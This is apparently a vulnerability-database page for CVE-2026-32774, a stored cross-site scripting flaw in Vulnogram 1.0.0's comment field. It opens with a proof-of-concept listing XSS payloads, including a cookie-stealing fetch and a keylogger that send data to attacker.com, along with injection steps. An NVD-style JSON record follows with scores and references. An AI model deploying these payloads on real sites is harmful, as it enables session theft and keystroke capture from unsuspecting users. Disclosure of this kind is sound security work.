CVE-2026-32774

// CVE-2026-32774 Stored XSS PoC // Target: Vulnogram 1.0.0 Comment Field // Payload 1: Basic alert demonstration const xssPayload1 = '<img src=x onerror=alert(document.domain)>'; // Payload 2: Cookie stealing const xssPayload2 = '<script>fetch("https://attacker.com/steal?cookie="+encodeURIComponent(document.cookie))</script>'; // Payload 3: Keylogger const xssPayload3 = '<script>document.addEventListener("keypress",function(e){fetch("https://attacker.com/log?key="+e.key)})</script>'; // Exploitation steps: // 1. Navigate to Vulnogram CVE disclosure page // 2. Locate the comment input field // 3. Inject any of the above XSS payloads // 4. Submit the comment // 5. When other users view the page, the XSS will execute automatically console.log('XSS Payload ready for injection');

{"cve": {"id": "CVE-2026-32774", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:44.207", "lastModified": "2026-03-20T18:26:35.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnogram 1.0.0 contains a stored cross-site scripting vulnerability in comment hypertext handling that allows attackers to inject malicious scripts. Remote attackers can inject XSS payloads through comments to execute arbitrary JavaScript in victims' browsers."}, {"lang": "es", "value": "Vulnogram 1.0.0 contiene una vulnerabilidad de cross-site scripting almacenado en el manejo de hipertexto de comentarios que permite a los atacantes inyectar scripts maliciosos. Los atacantes remotos pueden inyectar cargas útiles de XSS a través de comentarios para ejecutar JavaScript arbitrario en los navegadores de las víctimas."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vulnogram:vulnogram:1.0.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "A71AC629-8977-468C-BCC9-97B3C63374F5"}]}]}], "references": [{"url": "https://github.com/Vulnogram/Vulnogram", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Vulnogram/Vulnogram/security/advisories/GHSA-pg4p-2985-gvxr", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.vulncheck.com/advisories/vulnogram-stored-cross-site-scripting-via-comment-hypertext", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/Vulnogram/Vulnogram/commit/2f0e21b113c58124084c7b74c9768fc241126a05", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Patch"]}]}}